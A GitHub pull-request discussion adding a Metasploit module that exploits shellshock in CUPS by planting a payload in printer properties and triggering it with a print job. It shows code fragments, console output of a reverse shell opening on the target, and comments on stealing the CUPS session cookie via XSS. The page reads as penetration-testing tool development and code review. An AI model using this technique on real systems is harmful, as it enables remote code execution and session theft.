Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit module for CUPS shellshock #4050

Merged
merged 4 commits into from Oct 28, 2014
Merged

Conversation

@bcoles
Copy link
Contributor

bcoles commented Oct 19, 2014

Add CUPS Filter Bash Environment Variable Code Injection exploit module.

The PRINTER_INFO and PRINTER_LOCATION printer properties (set when adding a printer to CUPS) are exported to environment variables when processing a print job. As such, it is possible for an authenticated CUPS user to add a printer with a shellshock payload in either of these properties then trigger the payload by queuing a print job.

Tested

  • CUPS version 1.4.3 on Ubuntu 10.04 (x86)
  • CUPS version 1.5.3 on Debian 7 (x64)
  • CUPS version 1.6.2 on Fedora 19 (x64)
  • CUPS version 1.7.2 on Ubuntu 14.04 (x64)

Check

msf exploit(cups_bash_env_exec) > set verbose false
verbose => false
msf exploit(cups_bash_env_exec) > check
[*] 172.16.251.133:631 - The target service is running, but could not be validated.
msf exploit(cups_bash_env_exec) > set verbose true
verbose => true
msf exploit(cups_bash_env_exec) > check
[*] 172.16.251.133:631 - Adding new printer 'NFycDodyl2r'
[*] 172.16.251.133:631 - Found CUPS version 1.7
[+] 172.16.251.133:631 - Added printer successfully
[*] 172.16.251.133:631 - Deleting printer 'NFycDodyl2r'
[*] 172.16.251.133:631 - The target service is running, but could not be validated.

Run

msf exploit(cups_bash_env_exec) > set verbose true
verbose => true
msf exploit(cups_shellshock) > run

[*] Started reverse handler on 172.16.251.132:4444 
[*] 172.16.251.133:631 - Adding new printer 'XLuCUwtjZkSVyw'
[+] 172.16.251.133:631 - Added printer successfully
[*] 172.16.251.133:631 - Adding test page to printer queue
[+] 172.16.251.133:631 - Added test page to printer queue
[*] 172.16.251.133:631 - Deleting printer 'XLuCUwtjZkSVyw'
[*] Command shell session 1 opened (172.16.251.132:4444 -> 172.16.251.133:56720) at 2014-10-26 02:10:51 -0400
[*] 172.16.251.133:631 - Deleted printer 'XLuCUwtjZkSVyw' successfully

id
uid=7(lp) gid=7(lp) groups=7(lp)
@wvu-r7 wvu-r7 self-assigned this Oct 19, 2014
# The print job triggers execution of the bash filter
# which executes the payload in the env vars.
res = print_test_page(printer_name)
if !res || res.code != 200

This comment has been minimized.

Copy link
@kernelsmith

kernelsmith Oct 20, 2014

Contributor

would this be clearer (assuming I get the logic right) if it were

unless res && res.code == 200
  return print_error(blah)
end

# Delete the printer
res = delete_printer(printer_name)
if !res || res.code != 200

This comment has been minimized.

Copy link
@kernelsmith

kernelsmith Oct 20, 2014

Contributor

if that last comment applied, then it would apply here too

#
# Create a printer
#
def create_printer printer_name

This comment has been minimized.

Copy link
@kernelsmith

kernelsmith Oct 20, 2014

Contributor

I think the Rails people like these, and I'm not sure if we have stance on it, but personally, not a fan of leaving off the parens on method defs unless there are 0 args. I would recommend

def create_printer(printer_name)

This comment has been minimized.

pd.add_part("#{shock}", nil, nil, "form-data; name=\"PRINTER_LOCATION\"") # injectable
pd.add_part("file:///dev/null", nil, nil, "form-data; name=\"DEVICE_URI\"")
pd.add_part('', nil, nil, "form-data; name=\"PRINTER_IS_SHARED\"")
pd.add_part('262144', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # default value

This comment has been minimized.

Copy link
@kernelsmith

kernelsmith Oct 20, 2014

Contributor

you could probably save yourself a ton of escaping by using the %Q|string| string literal syntax.

'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD']),
})

return res

This comment has been minimized.

Copy link
@kernelsmith

kernelsmith Oct 20, 2014

Contributor

you can remove this return res line. Since res is the last thing evaluated in the method, it will get returned by default

}
}
)
return res

This comment has been minimized.

Copy link
@kernelsmith

kernelsmith Oct 20, 2014

Contributor

same here, delete return res
actually, you can remove the res = as well since you don't need to assign it to a var anymore

}
}
)
return res

This comment has been minimized.

Copy link
@kernelsmith

kernelsmith Oct 20, 2014

Contributor

same here, remove return res and the res = part, just leave:

def delete_printer(printer_name)
  send_request_cgi(
    {
      'method' => 'POST',
      # etc
    }
  )
end
@kernelsmith

This comment has been minimized.

Copy link
Contributor

kernelsmith commented Oct 20, 2014

Cool submission, thanks!

@mubix

This comment has been minimized.

Copy link
Contributor

mubix commented Oct 20, 2014

Has anyone tested against the OSX version of CUPS?

@jvennix-r7

This comment has been minimized.

Copy link
Contributor

jvennix-r7 commented Oct 20, 2014

Nice. This was the first thing I looked at, since i knew the http server in cups passes the request through env variables (but uses posix spawn process or execve so I stopped looking). Good idea on creating a printer.

If you know (or want to try a dictionary attack on) the username/password you could also serve this exploit to a browser to run against the loopback. There is no csrf token that i can see, besides the sid, which is also stored as an insecure cookie: document.cookie #=> "org.cups.sid=dc21b88116995498a27666a486674c30", so you would be able to just XHR all these requests.

@jvennix-r7

This comment has been minimized.

Copy link
Contributor

jvennix-r7 commented Oct 20, 2014

Err ignore that ^ this wouldn't work in a browser, not sure what I was thinking, you'd have to steal that cookie and put it in a separate request parameter :)

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Oct 26, 2014

554935e adds

  • check() method;
  • support for CUPS version 1.5.3;
  • support for CVE-2014-6278;
  • @kernelsmith's suggestions
@wvu-r7 wvu-r7 assigned kernelsmith and unassigned wvu-r7 Oct 27, 2014
@bcoles

This comment has been minimized.

Copy link
Owner Author

bcoles commented on modules/exploits/multi/http/cups_bash_env_exec.rb in 554935e Oct 28, 2014

Added media settings. CUPS 1.5.3 requires valid media settings when parsing the PPD file.

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Oct 28, 2014

@jvennix-r7 you could steal the cookie with XSS in CUPS 1.6.4 if the user is authenticated.

@wvu-r7 wvu-r7 assigned wvu-r7 and unassigned kernelsmith Oct 28, 2014
@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Oct 28, 2014

@bcoles: Tell me when you want this landed, and we can do that. It's kinda sorta a big thing. ;) You can PR further changes afterward. Sound good?

@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Oct 28, 2014

@wvu-r7 I've removed CVE-2014-6278 for now. Ready to land.

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Oct 28, 2014

What's wrong with CVE-2014-6278? :P

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Oct 28, 2014

Corresponded via e-mail. CVE-2014-6278 support is unreliable. This looks good to go. Thanks, @bcoles!

P.S. Thanks to @kernelsmith for the awesome review. :)

wvu-r7 added a commit to wvu-r7/metasploit-framework that referenced this pull request Oct 28, 2014
Bashbleeded!!!!!!!!!!!
@wvu-r7 wvu-r7 merged commit 78b199f into rapid7:master Oct 28, 2014
1 check failed
1 check failed
continuous-integration/travis-ci The Travis CI build failed
Details
@bcoles

This comment has been minimized.

Copy link
Contributor Author

bcoles commented Oct 28, 2014

@wvu-r7 I removed CVE-2014-6278 as the payload was broken.

I've added a working payload for CVE-2014-6278 in #4093.

CVE-2014-6278 appeared unreliable as it doesn't work on older versions of bash prior to ~4.2.

GNU bash, version 4.1.5(1)-release (i486-pc-linux-gnu) on Ubuntu appears safe.

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Oct 28, 2014

@bcoles: Ah, that's what you meant by unreliable. That's why we used OptEnum. :)

From http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html:

The test case works as-is with bash 4.2 and 4.3, but not with more ancient releases; this is probably related to changes introduced few years ago in bash 4.2 patch level 12 (xparse_dolparen()), but I have not investigated if earlier versions are patently not vulnerable or simply require different syntax.

FWIW, CVE-2014-6271 works on one of my test boxes, but CVE-2014-6278 doesn't work. Same reason.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
6 participants
You can’t perform that action at this time.